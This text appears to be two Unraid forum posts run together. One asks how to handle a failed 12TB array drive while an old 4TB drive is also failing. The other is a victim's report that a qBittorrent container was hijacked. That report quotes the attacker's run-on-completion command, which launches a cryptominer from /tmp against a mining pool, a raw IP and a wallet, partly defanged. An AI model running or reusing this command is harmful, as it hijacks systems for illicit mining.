brainyyak

But I can't swap the 4tb drive until I replace the failed 12tb right? Replacing individual drives is not a problem and something I've done before. I'm worried about the 4tb drive failing during the 12tb replacement party build.

I have an array of 4 disks: a 14tb parity and 4tb, 12tb, and 14tb data. My 4tb drive is old and has been showing a SMART error for a while. Being cheap and lazy, I figured I would just replace it with a larger drive once it failed. Unfortunately, the 12tb drive popped a SMART error and then failed within a week. I am getting a new drive to replace the 12tb (probably 14tb), but I'm worried that when I go through the rebuild process the 4tb drive is going to fail and I'd be risking data loss. Is there a good procedure for handling this situation? I read the parity swap procedure and while I didn't entirely understand it, I thought it might work since I would want to swap the current 14tb parity into the array and use the new disk for parity if at all possible. Ideally, I'd like to get a larger drive for parity than I currently have, use the current parity to replace the failed 12tb, and replace the 4tb as well. I am happy to take the time to do multiple rebuilds to accomplish this. I'm just not sure what the best way to proceed is while limiting my chances of losing my data. tower-diagnostics-20240125-1937.zip

tower-diagnostics-20210830-1839.zipI was away from home last night, and when I came back from work today, I noticed that my CPU was nearly maxed out. This was odd, but does happen sometimes. However, I went into my torrent client (qbittorrent), and found that all of my torrents had been deleted and had been replaced with a single torrent for some kind of Italian music. It should go without saying that I have never heard of this music nor did I seek it out. I went into my logs for qbt, and found the following: I have no idea what those ports I circled are; I have never used them to my knowledge. I also found in my settings that some code was marked to be executed upon completion of the torrent: /tmp/x -o pool.suppo[CODE NEUTER]rtxmr.com:443 -u 8C2GLAN7wPEDE7xAiCLYBwdPtjc3B5pWH[CODE NEUTER]44989qMTmwSjbKmm2Y1Zog9UJWchsnrkjF4qkr7CbCtUAS4QGWyxhRW7Vfg5RZ -k --tls -o 107.173.34.104:9090 The [CODE NEUTER]s were added by me to prevent any accidental activation Furthermore, the logs Unraid gives me for qbt show this: All in all, I take this to mean that someone hijacked my system to run some kind of mining software. I can see in the logs here that the line of code to be run on completion was changed a few times, I assume this was the hacker setting up their system. I've already done what I can to stop any further access and stop any illicit activity, but I'm worried about making sure there isn't any lasting damage or compromise. I am not very well versed with this stuff, so I would appreciate any suggestions. I have attached my diag file https://forums.unraid.net/applications/core/interface/file/attachment.php?id=125259&key=7d5b734ea2581f6305efd6e1c07edb66